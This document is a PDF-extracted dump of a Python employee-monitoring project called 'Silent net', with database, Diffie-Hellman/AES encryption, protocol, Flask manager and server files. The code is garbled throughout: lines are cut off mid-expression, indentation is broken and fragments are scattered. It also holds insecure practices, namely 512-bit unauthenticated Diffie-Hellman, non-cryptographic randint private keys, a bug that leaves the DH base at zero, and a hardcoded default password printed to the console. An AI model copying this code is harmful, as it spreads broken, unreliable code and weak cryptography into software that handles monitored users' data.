    OUTPUT: list[tuple[str, str]]
"""

command = f"SELECT mac, hostname FROM {self.table_name}"
clients = self.commit(command)

return clients

def get_mac_by_hostname(self, hostname : str) -> str:
    """
        Gets the according MAC address of a computer by hostname

        INPUT: hostname
        OUTPUT: str

        @hostname: Hostname of wanted computer
    """

    command = f"SELECT mac FROM {self.table_name} WHERE hostname = ?;"
    return self.commit(command, hostname)[0][0]
```

File name: encryption.py

```
# Encryption Handler Module
#
# Contains classes for handling encryption tasks such as
# Diffie-Hellman key exchange and AES encryption/decryption
#
# Author: Omer Kfir (C)

import hashlib
from typing import Optional, Union
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
from cryptography.hazmat.primitives.asymmetric import dh
from random import randint

__author__ = "Omer Kfir"

DEBUG_FLAG = False

class DiffieHellman:
    """
        Handles Diffie-Hellman key exchange
    """

    def __init__(self, prime: int, base: int):
        """
            Initialize Diffie-Hellman with prime and base

            INPUT: prime, base
            OUTPUT: None

            @prime -> Prime number for the exchange
            @base -> Base number for the exchange
        """

        self.prime = prime
        self.base = base

        if self.prime == 0 or self.base == 0:
            parameters = dh.generate_parameters(generator=2,
            key_size=512)
            self.prime = parameters.parameter_numbers().p
            self.generator = parameters.parameter_numbers().g

        self.private_key = self._generate_private_key()

    def _generate_private_key(self) -> int:
        """
            Generates a private key

            INPUT: None
            OUTPUT: Private key (int)
        """
```

File name: encryption.py

```
return randint(2, self.prime - 2)
```

```
def get_public_key(self) -> int:
```

```
    """
```

```
        Generates a public key
```

```
        INPUT: None
```

```
        OUTPUT: Public key (int)
```

```
    """
```

```
    return pow(self.base, self.private_key, self.prime)
```

```
def get_shared_secret(self, other_public_key: int) -> int:
```

```
    """
```

```
        Computes the shared secret using the other party's public  
        key
```

```
        INPUT: other_public_key
```

```
        OUTPUT: Shared secret (int)
```

```
        @other_public_key -> The other party's public key
```

```
    """
```

```
    return pow(other_public_key, self.private_key, self.prime)
```

```
class AESHandler:
```

```
    """
```

```
        Handles AES encryption and decryption in CBC mode
```

```
    """
```

```
def __init__(self, key: Optional[bytes] = None):
```

```
    """
```

```
        Initialize AESHandler with a key
```

```
        INPUT: key (optional)
```

```
        OUTPUT: None
```

```
        @key -> AES key (bytes)
```

```
    """
```

```
    if key is None:
```

```
        self.key = get_random_bytes(32) # 256-bit key
```

```
    else:
```

```
        self.key = key
```

```
def encrypt(self, data: Union[bytes, str]) -> bytes:
```

```
    """
```

```
        Encrypts data using AES in CBC mode
```

```
        INPUT: data
```

```
        OUTPUT: Encrypted data (bytes)
```

File name: encryption.py

```
    @data -> Data to encrypt (bytes or str)
    """
    if isinstance(data, str):
        data = data.encode()

    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(self.key, AES.MODE_CBC, iv)

    cipher_text = cipher.encrypt(pad(data, AES.block_size))
    return iv + cipher_text
```

```
def decrypt(self, encrypted_data: bytes) -> bytes:
    """
        Decrypts data using AES in CBC mode

        INPUT: encrypted_data
        OUTPUT: Decrypted data (bytes)

        @encrypted_data -> Data to decrypt (bytes), first
        AES.block_size bytes are for iv
    """
    if type(encrypted_data) is not bytes:
        encrypted_data = encrypted_data.encode()

    decrypt_cipher = AES.new(self.key, AES.MODE_CBC,
        encrypted_data[:AES.block_size])
    plain_text =
    decrypt_cipher.decrypt(encrypted_data[AES.block_size:])

    return unpad(plain_text, AES.block_size)
```

```
class EncryptionHandler:
```

```
    """
        Main class to handle all encryption tasks
    """

    def __init__(self, base: int = 0, prime: int = 0):
        """
            Initialize EncryptionHandler with prime and base for DH

            INPUT: prime, base
            OUTPUT: None

            @prime -> Prime number for DH
            @base -> Base number for DH
        """
        self.dh = DiffieHellman(prime, base)
        self.aes_handler = None

    def get_base_prime(self) -> tuple[int, int]:
        """
            Returns the base and prime for Diffie-Hellman
        """
```

File name: encryption.py

```
        INPUT: None
        OUTPUT: Tuple of base and prime (int, int)
    """
    return self.dh.base, self.dh.prime

def get_public_key(self) -> int:
    """
        Returns the public key for Diffie-Hellman

        INPUT: None
        OUTPUT: Public key (int)
    """
    return self.dh.get_public_key()

def generate_shared_secret(self, other_public_key: int) -> None:
    """
        Generates the shared secret and initializes AESHandler

        INPUT: other_public_key
        OUTPUT: None

        @other_public_key -> The other party's public key
    """
    shared_secret = self.dh.get_shared_secret(other_public_key)

    # Ensure shared_secret is in bytes before hashing
    shared_secret_bytes =
    shared_secret.to_bytes((shared_secret.bit_length() + 7) // 8, byteorder="
    derived_key = hashlib.sha256(shared_secret_bytes).digest()

    # Use the derived key for AES
    self.aes_handler = AESHandler(derived_key)

def encrypt(self, data: Union[bytes, str]) -> bytes:
    """
        Encrypts data using AES

        INPUT: data
        OUTPUT: Encrypted data (bytes)

        @data -> Data to encrypt (bytes or str)
    """
    if self.aes_handler is None:
        raise ValueError("Shared secret not generated")

    return self.aes_handler.encrypt(data)

def decrypt(self, encrypted_data: bytes) -> bytes:
    """
        Decrypts data using AES

        INPUT: encrypted_data
```

File name: encryption.py

OUTPUT: Decrypted data (bytes)

```
@encrypted_data -> Data to decrypt (bytes)
"""
if self.aes_handler is None:
    raise ValueError("Shared secret not generated")

return self.aes_handler.decrypt(encrypted_data)
```


File name: manager.py

```
"""
```

```
'Silent net' Manager Web Interface
```

This module implements the manager-side web interface for the Silent net project.

It provides a Flask-based web application that allows managers to request data from server

The application enforces a screen hierarchy and handles all communication with the server.

Omer Kfir (C)

```
"""
```

```
import sys
```

```
import webbrowser
```

```
import os
```

```
import signal
```

```
import json
```

```
from sys import argv
```

```
from functools import wraps
```

```
from flask import Flask, redirect, render_template, request, jsonify,  
url_for
```

```
# Append parent directory to be able to import protocol
```

```
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__),  
'../shared')))
```

```
from protocol import *
```

```
from encryption import *
```

```
__author__ : str = "Omer Kfir"
```

```
server_ip : str = "127.0.0.1"
```

```
class SilentNetManager:
```

```
    """Main manager application class that encapsulates all Flask  
    routes and server communication"""
```

```
    def __init__(self):
```

```
        """Initialize the manager application"""
```

```
        self.app : webbrowser = Flask(__name__)
```

```
        self.manager_socket : bool = None
```

```
        self.is_connected : bool = False
```

```
        self.screens : dict = {
```

```
            "/exit": 0,
```

```
            "/loading": 1,
```

```
            "/": 2,
```

```
            "/settings": 3,
```

```
            "/employees": 4,
```

```
            "/stats_screen": 5,
```

```
        }
```

```
        self.current_screen : str = "/"
```

```
        self.previous_screen : str = ""
```

```
        self._setup_routes()
```

File name: manager.py

```
self._setup_error_handlers()

def _setup_routes(self):
    """Configure all Flask routes"""
    self.app.route("/exit-program")(self.exit_program)

    self.app.route("/exit")(self.check_screen_access(self.exit_page))

    self.app.route("/loading")(self.check_screen_access(self.loading_screen))

    self.app.route("/")(self.check_screen_access(self.start_screen))
    self.app.route('/check_password',
methods=['POST'])(self.check_password)

    self.app.route("/settings")(self.check_screen_access(self.settings_screen))
    self.app.route("/submit_settings",
methods=["POST"])(self.submit_settings)

    self.app.route("/employees")(self.check_screen_access(self.employees_screen))
    self.app.route('/delete_client',
methods=['POST'])(self.delete_client)
    self.app.route("/manual-connect")(self.manual_connect)
    self.app.route('/update_client_name',
methods=['POST'])(self.update_client_name)

    self.app.route("/stats_screen")(self.check_screen_access(self.stats_screen))

def _setup_error_handlers(self):
    """Configure error handlers"""
    self.app.errorhandler(404)(self.page_not_found)
    self.app.errorhandler(500)(self.internal_error)

def check_screen_access(self, f : callable) -> callable:
    """Decorator to enforce screen hierarchy and track
navigation"""

    @wraps(f)
    def wrapper(*args, **kwargs):
        # Allow access to the loading/exit screen regardless of
        current screen
        if request.path in ["/loading", "/exit"]:
            self.previous_screen = self.current_screen
            self.current_screen = request.path
            return f(*args, **kwargs)

        # Allow access to employees screen if current screen is
        higher in hierarchy
        elif ((request.path == "/employees" and
            self.screens[self.current_screen] >
            self.screens[request.path]) or (request.path == "/settings" and
            self.previous_screen = self.current_screen
            self.current_screen = request.path
            return f(*args, **kwargs))
```

File name: manager.py

```
# For other screens, enforce the hierarchy
elif self.screens[self.current_screen] >
self.screens[request.path]:
    return redirect(self.current_screen)

self.previous_screen = self.current_screen
self.current_screen = request.path
return f(*args, **kwargs)
return wrapper

def disconnect(self):
    """Disconnect from the server and clean up resources"""
    if self.manager_socket:
        self.manager_socket.close()
    self.is_connected = False

def exit_program(self):
    """Handle application exit"""
    self.disconnect()
    os.kill(os.getpid(), signal.SIGINT)
    return '', 204

def page_not_found(self, error):
    """Handle 404 errors"""
    return render_template("http_error.html")

def internal_error(self, error):
    """Handle 500 errors"""
    return render_template("internal_error.html")

def exit_page(self):
    """Render exit confirmation screen"""
    return render_template("exit_screen.html",
previous_screen=self.previous_screen)

def loading_screen(self):
    """Render loading screen and attempt connection"""
    self.disconnect()
    return render_template("loading_screen.html")

def start_screen(self):
    """Render the initial login screen"""
    password_incorrect = request.args.get('password_incorrect',
'false')
    return render_template("opening_screen.html",
password_incorrect=password_incorrect)

def check_password(self):
    """Validate manager password with server"""
    password = request.form.get('password')

    if not self.is_connected:
```

File name: manager.py

```
        self.connect_to_server()
        if not self.is_connected:
            return redirect(url_for("loading_screen"))

    try:

        self.manager_socket.protocol_send(MessageParser.MANAGER_MSG_PASSWORD,
except Exception:
    self.connect_to_server()
    if not self.is_connected:
        return redirect(url_for("loading_screen"))

        self.manager_socket.protocol_send(MessageParser.MANAGER_MSG_PASSWORD,

if not self.manager_socket.exchange_keys():
    return redirect(url_for("loading_screen"))

self.manager_socket.protocol_send(password)
response =
self.manager_socket.protocol_recv()[MessageParser.PROTOCOL_DATA_INDEX - 1

if response == MessageParser.MANAGER_VALID_CONN:
    return redirect(url_for("settings_screen"))

if not self.is_connected:
    return redirect(url_for("loading_screen"))

self.disconnect()
return redirect(url_for("start_screen",
password_incorrect='true'))

def settings_screen(self):
    """Render server settings screen"""
    return render_template("settings_screen.html")

def submit_settings(self):
    """Update server settings"""
    employees_amount = request.form.get('employees_amount')
    safety = request.form.get('safety')

    self.manager_socket.protocol_send(
        MessageParser.MANAGER_SND_SETTINGS,
        employees_amount,
        safety
    )
    return redirect(url_for("employees_screen"))

def employees_screen(self):
    """Render employee list screen"""

    self.manager_socket.protocol_send(MessageParser.MANAGER_GET_CLIENTS)
    clients =
```

File name: manager.py

```
self.manager_socket.protocol_recv()[MessageParser.PROTOCOL_DATA_INDEX:]

stats = []
for client in clients:
    name, active, connected = client.decode().split(",")
    stats.append([name, int(active), int(connected)])

return render_template("name_screen.html", name_list=stats)

def delete_client(self):
    """Handle client deletion request"""
    data = request.get_json()
    client_name = data.get('name')

    if not client_name:
        return jsonify({'success': False, 'message': 'No name
        provided'}), 400

    self.manager_socket.protocol_send(MessageParser.MANAGER_DELETE_CLIENT, cl
    return jsonify({'success': True, 'message': f'Client
    {client_name} deleted successfully'})

def manual_connect(self):
    """Handle manual connection attempt"""
    self.connect_to_server()
    current_state = self.is_connected

    if self.is_connected:

        self.manager_socket.protocol_send(MessageParser.MANAGER_CHECK_CONNECT
        self.disconnect()

    return jsonify({"status": current_state})

def update_client_name(self):
    """Handle client name update request"""
    data = request.get_json()
    current_name, new_name = data.get('current_name'),
    data.get('new_name')

    self.manager_socket.protocol_send(
        MessageParser.MANAGER_CHG_CLIENT_NAME,
        current_name,
        new_name
    )

    response =
    self.manager_socket.protocol_recv()[MessageParser.PROTOCOL_DATA_INDEX - 1
    if response == MessageParser.MANAGER_VALID_CHG:
        return jsonify({"success": True})
    else:
        return jsonify({"success": False, "message": "Name is
```

File name: manager.py

```
already used"}})
```

```
def stats_screen(self):
```

```
    """Render detailed statistics screen for a client"""
```

```
    client_name = request.args.get('client_name')
```

```
    self.manager_socket.protocol_send(MessageParser.MANAGER_GET_CLIENT_DATA,
```

```
    stats =
```

```
    json.loads(self.manager_socket.protocol_recv()[MessageParser.PROTOCOL_DAT
```

```
    return render_template("stats_screen.html", stats=stats,
```

```
    client_name=client_name)
```

```
def connect_to_server(self):
```

```
    """Attempt to connect to the server"""
```

```
    self.manager_socket = client(manager=True)
```

```
    self.is_connected = self.manager_socket.connect(server_ip,
```

```
    server.SERVER_BIND_PORT)
```

```
    if not self.is_connected:
```

```
        return render_template("loading_screen.html")
```

```
    self.manager_socket.set_timeout(5)
```

```
def run(self):
```

```
    """Run the Flask application"""
```

```
    port = TCPsocket.get_free_port()
```

```
    webbrowser.open(f"http://127.0.0.1:{port}/")
```

```
    self.app.run(port=port)
```

```
def main():
```

```
    """Entry point for the manager application"""
```

```
    global server_ip
```

```
    if len(argv) != 2:
```

```
        print("Wrong Usage: python manager.py <server_ip>")
```

```
    else:
```

```
        ip = argv[1].split(".")
```

```
        if len(ip) != 4:
```

```
            print("IP not valid - ipv4 consists 4 numbers")
```

```
            return
```

```
        for n in ip:
```

```
            if (not n.isnumeric()) or (int(n) < 0 or int(n) > 255):
```

```
                print("IP not valid - ip numbers are no valid")
```

```
                return
```

```
    server_ip = ".".join(ip)
```

```
    manager = SilentNetManager()
```

```
    manager.run()
```

File name: manager.py

```
if __name__ == "__main__":  
    main()
```

File name: protocol.py

```
# 'Silent net' project protocol
#
#     Contains main message types and
#     Socket handling
#     Encrypted protocol
#
# Omer Kfir (C)

import socket
from encryption import EncryptionHandler
from typing import Optional, Tuple, Union
from random import randint

__author__ = "Omer Kfir"

DEBUG_PRINT_LEN = 50
DEBUG_FLAG = False

class MessageParser:
    PROTOCOL_SEPARATOR = b"\x1f"
    PROTOCOL_DATA_INDEX = 1

    SIG_MSG_INDEX = 0

    ENCRYPTION_EXCHANGE = "EXH"

    # Message types
    CLIENT_MSG_SIG = "C"
    CLIENT_MSG_AUTH = "CAU"
    CLIENT_PROCESS_OPEN = "CPO"
    CLIENT_PROCESS_CLOSE = "CPC"
    CLIENT_INPUT_EVENT = "CIE"
    CLIENT_CPU_USAGE = "CCU"
    CLIENT_IP_INTERACTION = "COT"

    CLIENT_ALL_MSG = {CLIENT_MSG_SIG, CLIENT_MSG_AUTH,
                      CLIENT_PROCESS_OPEN,
                      CLIENT_PROCESS_CLOSE, CLIENT_INPUT_EVENT,
                      CLIENT_CPU_USAGE, CLIENT_IP_INTERACTION}

    # Not used in communication only in DB
    CLIENT_LAST_INPUT_EVENT = "CLE"
    CLIENT_FIRST_INPUT_EVENT = "CFE"
    CLIENT_INACTIVE_EVENT = "CIN"

    # Manager commands
    MANAGER_MSG_SIG = "M"
    MANAGER_MSG_EXIT = "MME"
    MANAGER_SND_SETTINGS = "MST"
    MANAGER_GET_CLIENTS = "MGC"
    MANAGER_GET_CLIENT_DATA = "MGD"
    MANAGER_DELETE_CLIENT = "MDC"
    MANAGER_CHECK_CONNECTION = "MCC"
```


File name: protocol.py

```
# Manager changes name of client
MANAGER_CHG_CLIENT_NAME = "MCN"
MANAGER_INVALID_CHG = "MIH"
MANAGER_VALID_CHG = "MCH"

# Manager sends password
MANAGER_MSG_PASSWORD = "MMP"
MANAGER_INVALID_CONN = "MIC"
MANAGER_VALID_CONN = "MVC"
MANAGER_ALREADY_CONNECTED = "MAC"

"""
    Decorator staticmethod does not block a function to be called
    through an instance
    Rather it ensures that simply not pass a self object to the
    function even if function called through instance
"""

@staticmethod
def encode_str(msg) -> bytes:
    """ Encodes a message """

    if type(msg) is not bytes:
        msg = str(msg).encode()

    return msg

@staticmethod
def protocol_message_construct(msg_type : str, *args):
    """
        Constructs a message to be sent by protocol rules

        INPUT: msg_type, *args (Uknown amount of arguments)
        OUTPUT: None

        @msg_type -> Message type of the message to be sent
        @args -> The rest of the data to be sent in the message
    """

    msg_buf = MessageParser.encode_str(msg_type)

    for argument in args:
        msg_buf += MessageParser.PROTOCOL_SEPARATOR +
            MessageParser.encode_str(argument)

    return msg_buf

@staticmethod
def protocol_message_deconstruct(msg : bytes, part_split : int =
-1) -> list[bytes]:
    """
```

File name: protocol.py

Constructs a message to be sent by protocol rules

INPUT: msg, part_split

OUTPUT: List of fields in msg seperated by protocol

@msg -> Byte stream

@part_split -> Number of fields to seperate from start of message

"""

if msg != b'':

msg = msg.split(MessageParser.PROTOCOL_SEPARATOR,
part_split)

return msg

class TCPsocket:

MSG_LEN_LEN = 4

def __init__(self, sock: Optional[socket.socket] = None):

"""

Create TCP socket

INPUT: sock (not necessary)

OUTPUT: None

@sock -> Socket object (socket.socket)

"""

if sock is None:

self.__sock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)

else:

self.__sock = sock

self.__ip = self.__sock.getpeername()[0]

def set_timeout(self, time):

"""

Sets a timeout for a socket

INPUT: time

OUTPUT: None

@time -> Amount of timeout time

"""

self.__sock.settimeout(time)

def get_ip(self) -> str:

"""

Returns the IP of the socket

File name: protocol.py

```
        INPUT: None
        OUTPUT: IP of the socket
    """

    return self.__ip

def create_server_socket(self, bind_ip : str, bind_port : int,
server_listen : int) -> None:
    """
        Prepare a server tcp socket

        INPUT: bind_ip, bind_port, server_listen
        OUTPUT: None

        @bind_ip -> IP for server to bind
        @bind_port -> Port for server to bind
        @server_listen -> Max amount of client connecting at the
        same time
    """

    self.__sock.bind((bind_ip, bind_port))
    self.__sock.listen(server_listen)

def server_socket_recv_client(self) -> socket.socket:
    """
        Server receives new client

        INPUT: None
        OUTPUT: None

        @dst_ip -> Destination IP of server
        @dst_port -> Destination Port of server
    """

    client_sock, _ = self.__sock.accept()
    return client_sock

def client_socket_connect_server(self, dst_ip : str, dst_port :
int) -> None:
    """
        Connect client socket to server

        INPUT: dst_ip, dst_port
        OUTPUT: None

        @dst_ip -> Destination IP of server
        @dst_port -> Destination Port of server
    """

    self.__sock.connect((dst_ip, dst_port))
```

File name: protocol.py

```
def close(self):
    """
        Closes socket

        INPUT: None
        OUTPUT: None
    """

    self.__sock.close()

def log(self, prefix : str, data: Union[bytes, str], max_to_print:
int=DEBUG_PRINT_LEN) -> None:
    """
        Prints 'max_to_print' amount of data from 'data'

        INPUT: prefix, data, max_to_print
        OUTPUT: None

        @prefix -> A prefix for every data to be printed
        @data -> Stream of data (Bytes | string)
        @max_to_print -> Amount of data to printed
    """

    if not DEBUG_FLAG:
        return

    data_to_log = data[:max_to_print]
    if type(data_to_log) == bytes:
        try:
            data_to_log = data_to_log.decode()

        except (UnicodeDecodeError, AttributeError):
            pass
    print(f"\n{prefix}({len(data)})>>>{data_to_log}")

def __recv_amount(self, size : int) -> bytes:
    """
        Recevies specified amount of data from connected side

        INPUT: None
        OUTPUT: Byte stream

        @data -> Stream of bytes
    """

    buffer = b''

    # Recv until 'size' amount of bytes is received
    while size:

        tmp_buf = self.__sock.recv(size)
```

File name: protocol.py

```
    if not tmp_buf:
        return b''

    buffer += tmp_buf
    size -= len(tmp_buf)

return buffer


def recv(self) -> bytes:
    """
        Receives data from connected side

        INPUT: None
        OUTPUT: Byte stream

        @data -> Stream of bytes
    """

    data = b''
    data_len = self.__recv_amount(self.MSG_LEN_LEN) # Recv length
    of message

    if data_len == b'':
        return data_len

    data_len = int(data_len)

    # Recv actual message and log it
    data = self.__recv_amount(data_len)
    self.log("Receive", data)

    return data


def send(self, data : Union[bytes, str]):
    """
        Sends data to connected side

        INPUT: data
        OUTPUT: None

        @data -> Stream of bytes (can also be a simple string)
    """

    length = len(data)

    if length == 0:
        return

    if type(data) != bytes:
        data = data.encode()
```

File name: protocol.py

```
# Pad data with its length
len_data = str(length).zfill(self.MSG_LEN_LEN).encode()
data = len_data + data

# Send data and log it
self.__sock.sendall(data)
self.log("Sent", data)
```

```
@staticmethod
```

```
def get_free_port() -> int:
```

```
    """
```

```
        Get free internet port for binding
```

```
        INPUT: None
```

```
        OUTPUT: None
```

```
    """
```

```
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind(('', 0)) # Binding to port 0 gives random port
        port = s.getsockname()[1]
```

```
    return port
```

```
class client (TCPsocket):
```

```
    def __init__(self, sock: Optional[socket.socket] = None, manager:
bool = False):
```

```
        """
```

```
            Create the client side socket
```

```
            socket type: TCP
```

```
            INPUT: sock (not necessary), safety
```

```
            OUTPUT: None
```

```
            @sock -> Socket object (socket.socket)
```

```
            @safety -> Safety counter for unsafe messages
```

```
        """
```

```
        super().__init__(sock)
```

```
        # Add settings in order to get mac address
```

```
        self.__mac = ...
```

```
        # Unsafe message counter
```

```
        self.__unsafe_msg_cnt = 0
```

```
        # Encryption handler
```

```
        self.__encryption = ...
```

```
        # If its a manager object then only build base for encryption
        if manager:
```

```
            self.__encryption = EncryptionHandler()
```

File name: protocol.py

```
def set_address(self, mac_addr) -> None:
    """
        Set client's mac addresss

        INPUT: mac_addr
        OUTPUT: None

        @mac_addr -> mac address of client
    """

    self.__mac = mac_addr

def get_address(self) -> str:
    """
        Returns client's mac address

        INPUT: None
        OUTPUT: Address of client's mac
    """

    return self.__mac

def exchange_keys(self) -> bool:
    """
        Exchange keys between client and server

        INPUT: None
        OUTPUT: boolean value which indicated wether managed to
        exchange keys successfully
    """

    try:
        if self.__encryption is not Ellipsis:
            # If client is a manager object
            self.protocol_send(MessageParser.ENCRYPTION_EXCHANGE,
                               *self.__encryption.get_base_prime(), encrypt=False)
        else:
            # If client is a server object
            data =
            self.protocol_recv(decrypt=False)[MessageParser.PROTOCOL_DATA_IND
            self.__encryption = EncryptionHandler(int(data[0]),
            int(data[1]))

            self.protocol_send(MessageParser.ENCRYPTION_EXCHANGE,
                               self.__encryption.dh.get_public_key(), encrypt=False)

            self.__encryption.generate_shared_secret(int(self.protocol_recv(decrypt=

    return True

except Exception as e:
    # If raised exception then return that function did not
```

File name: protocol.py

```
        manage to complete successfully
        print(e)
        return False

def connect(self, dst_ip : str, dst_port : int) -> bool:
    """
        Connect client to server and exchange keys

        INPUT: dst_ip, dst_port
        OUTPUT: Boolean value which indicated wether managed to
        connect

        @dst_ip -> Destination IP of server
        @dst_port -> Destination Port of server
    """

    try:
        self.client_socket_connect_server(dst_ip, dst_port)
        return True

    except:
        self.log("Error", "Failed to connect to server")
        self.close()

        return False

def protocol_recv(self, part_split : int = -1, decrypt: bool =
True) -> list[bytes]:
    """
        Recevies data from connected side and splits it by protocol

        INPUT: part_split
        OUTPUT: List of byte streams

        @part_split -> Number of fields to seperate from start of
        message
    """
    try:
        data = self.recv()
        if data == b'':
            return data

        if decrypt:
            data = self.__encryption.decrypt(data)

        data = MessageParser.protocol_message_deconstruct(data,
part_split)
        return data

    except socket.timeout:
        return b'ERR'

    except Exception:
```


File name: protocol.py

```
return b''
```

```
def protocol_send(self, msg_type, *args, encrypt: bool = True) ->
None:
```

```
"""
```

```
    Sends a message constructed by protocol
```

```
    INPUT: msg_type, *args (Unknown amount of arguments)
```

```
    OUTPUT: None
```

```
    @msg_type -> Message type of the message to be sent
```

```
    @args -> The rest of the data to be sent in the message
```

```
"""
```

```
    constr_msg = MessageParser.protocol_message_construct(msg_type,
*args)
```

```
    if encrypt:
```

```
        constr_msg = self.__encryption.encrypt(constr_msg)
```

```
    self.send(constr_msg)
```

```
def unsafe_msg_cnt_inc(self, safety : int) -> bool:
```

```
"""
```

```
    Increase unsafe message counter
```

```
    INPUT: None
```

```
    OUTPUT: boolean value
```

```
"""
```

```
    self.__unsafe_msg_cnt += 1
```

```
    return self.__unsafe_msg_cnt > 10 - safety
```

```
def reset_unsafe_msg_cnt(self) -> None:
```

```
"""
```

```
    Reset unsafe message counter
```

```
    INPUT: None
```

```
    OUTPUT: None
```

```
"""
```

```
    self.__unsafe_msg_cnt = 0
```

```
class server (TCPsocket):
```

```
    SERVER_BIND_IP    = "0.0.0.0"
```

```
    SERVER_BIND_PORT = 6734
```

```
def __init__(self, server_listen : int = 5):
```

```
"""
```

```
    Create the server side socket
```

```
    socket type: TCP
```

```
    INPUT: None
```

```
    OUTPUT: None
```

File name: protocol.py

```
"""

# Create TCP ipv4 socket
super().__init__()

# Bind socket and set max listen
self.create_server_socket(self.SERVER_BIND_IP,
self.SERVER_BIND_PORT, server_listen)

def recv_client(self) -> client:
    """
        Receives a client from server socket

        INPUT: None
        OUTPUT: Client object
    """

    c = client(self.server_socket_recv_client())
    c.set_timeout(5)
    return c
```

File name: server.py

```
"""
'Silent net' project server implementation

This module contains the server-side implementation for the Silent net
project.
It handles client connections, manages communication, and interfaces
with the database.

Omer Kfir (C)
"""

import sys
import threading
import os
import json
from time import sleep
from random import uniform
from keyboard import on_press_key
from socket import timeout
import traceback

# Append parent directory to be able to import protocol
path = os.path.dirname(__file__)
sys.path.append(os.path.abspath(os.path.join(path, '../shared')))

from encryption import *
from protocol import *
from DB import *

__author__ = "Omer Kfir"

class SilentNetServer:
    """
    Main server class that handles all server operations including:
    - Client connections
    - Manager connections
    - Database operations
    - Server configuration
    """

    def __init__(self):
        """Initialize server with default configuration"""
        self.max_clients : int = 5
        self.safety : int = 5
        self.password : str = "itzik"
        self.proj_run : bool = True
        self.manager_connected : bool = False
        self.clients_connected : list[threading.Thread, client] = [] #
        List of (thread object, client object)
        self.macs_connected : list[str] = [] # List of MAC addresses
        of connected clients
        self.clients_recv_event : threading.Event = threading.Event()
```

File name: server.py

```
self.clients_recv_lock : threading.Lock = threading.Lock()
self.log_data_base : UserLogsORM = None
self.uid_data_base : UserId = None
self.server_comm : server = None

def start(self):
    """Start the server with configured settings"""
    self._load_configuration()
    self._initialize_databases()
    self._setup_keyboard_shortcuts()
    self._run_server()

def _load_configuration(self):
    """Load server configuration from command line or use
    defaults"""
    if len(sys.argv) == 4:
        if sys.argv[1].isnumeric() and sys.argv[2].isnumeric():
            if 1 <= int(sys.argv[1]) <= 40:
                self.max_clients = int(sys.argv[1])
            else:
                print("Warning: Max clients must be between 1 and
                40")
                print("Using default value instead")

            if 1 <= int(sys.argv[2]) <= 5:
                self.safety = int(sys.argv[2])
            else:
                print("Warning: Safety parameter must be between 1
                and 5")
                print("Using default value instead")

            self.password = sys.argv[3]
        else:
            print("Warning: Client max and safety params must be
            numerical")
            print("Using default values instead")
    else:
        print("Using default configuration values")
        print("Usage: python server.py <max_clients:int>
        <safety:int> <password:str>\n\n")

    print(f"Server running with configuration:\nMax clients:
    {self.max_clients}\n"
          f"Safety: {self.safety}\nPassword: {self.password}\n\n"
          "Press 'q' to quit server\nPress 'e' to erase all
          logs\n")

def _initialize_databases(self):
    """Initialize database connections"""
    db_path = os.path.join(os.path.dirname(__file__),
    UserId.DB_NAME)
    conn1, cursor1 = DBHandler.connect_DB(db_path)
    conn2, cursor2 = DBHandler.connect_DB(db_path)
```

File name: server.py

```
self.log_data_base = UserLogsORM(conn1, cursor1,
UserLogsORM.USER_LOGS_NAME)
self.uid_data_base = UserId(conn2, cursor2,
UserId.USER_ID_NAME)

def _setup_keyboard_shortcuts(self):
    """Setup keyboard shortcuts for server control"""
    on_press_key('q', lambda _: self.quit_server())
    on_press_key('e', lambda _: self.erase_all_logs())

def _run_server(self):
    """Main server loop to accept and handle client connections"""
    try:
        self.server_comm = server(self.safety)
        self.server_comm.set_timeout(1)
        self._accept_clients()
    finally:
        self._cleanup()

def _accept_clients(self):
    """Accept and manage incoming client connections"""
    while self.proj_run:
        try:
            if len(self.clients_connected) < self.max_clients or
            not self.manager_connected:
                client = self.server_comm.recv_client()
                client_thread =
                threading.Thread(target=self._handle_client_connection, args=

                with self.clients_recv_lock:
                    self.clients_connected.append((client_thread,
                    client))

                client_thread.start()

                with self.clients_recv_lock:
                    if len(self.clients_connected) >=
                    self.max_clients:
                        self.clients_recv_event.clear()
            else:
                self.clients_recv_event.wait()
        except timeout:
            pass
        except Exception as e:
            print(f"Error accepting client: {e}")
            print(traceback.format_exc())

    print('Server shutting down')

def _handle_client_connection(self, client : client):
    """Determine client type and route to appropriate handler"""
    data = client.protocol_recv(MessageParser.PROTOCOL_DATA_INDEX,
```

File name: server.py

```
decrypt=False)
if data == b'' or (isinstance(data, list) and data[0].decode()
== MessageParser.MANAGER_CHECK_CONNECTION):
    self._remove_disconnected_client(client)
    return

msg_type = data[0].decode()
if len(self.clients_connected) >= self.max_clients and msg_type
== MessageParser.CLIENT_MSG_AUTH:
    self._remove_disconnected_client(client)
    return

if msg_type == MessageParser.MANAGER_MSG_PASSWORD and
self.manager_connected:

    client.protocol_send(MessageParser.MANAGER_ALREADY_CONNECTED, encrypt
    self._remove_disconnected_client(client)
    return

if self._determine_client_type(client, msg_type, data[1] if
len(data) > 1 else b''):
    self.manager_connected = False

self._remove_disconnected_client(client)

def _determine_client_type(self, client, msg_type, msg):
    """Determine if client is manager or employee and handle
    accordingly"""
    if msg_type == MessageParser.MANAGER_MSG_PASSWORD:
        return self._handle_manager_connection(client, msg)
    elif msg_type == MessageParser.CLIENT_MSG_AUTH:
        self._handle_employee_connection(client, msg)
    return False

def _handle_manager_connection(self, client, msg):
    """Handle manager authentication and connection"""
    ret_msg_type = MessageParser.MANAGER_INVALID_CONN
    client.exchange_keys()
    msg = client.protocol_recv(MessageParser.PROTOCOL_DATA_INDEX)

    if msg != b'':
        msg = msg[MessageParser.PROTOCOL_DATA_INDEX - 1].decode()

    if msg == self.password:
        ret_msg_type = MessageParser.MANAGER_VALID_CONN
        self.manager_connected = True

    sleep(uniform(0, 1)) # Prevent timing attack
    client.protocol_send(ret_msg_type)

    if ret_msg_type == MessageParser.MANAGER_VALID_CONN:
        ManagerHandler(self, client).process_requests()
```

File name: server.py

```
    return True

def _handle_employee_connection(self, client, msg):
    """Handle employee authentication and connection"""
    mac, hostname = MessageParser.protocol_message_deconstruct(msg)
    mac, hostname = mac.decode(), hostname.decode()

    with self.clients_recv_lock:
        self.macs_connected.append(mac)

    client.set_address(mac)
    logged = self.uid_data_base.insert_data(mac, hostname)

    if not logged:
        self.log_data_base.client_setup_db(client.get_address())

    ClientHandler(self, client, mac).process_data()

def _remove_disconnected_client(self, client):
    """Remove disconnected client from connected clients list"""
    if not client:
        return

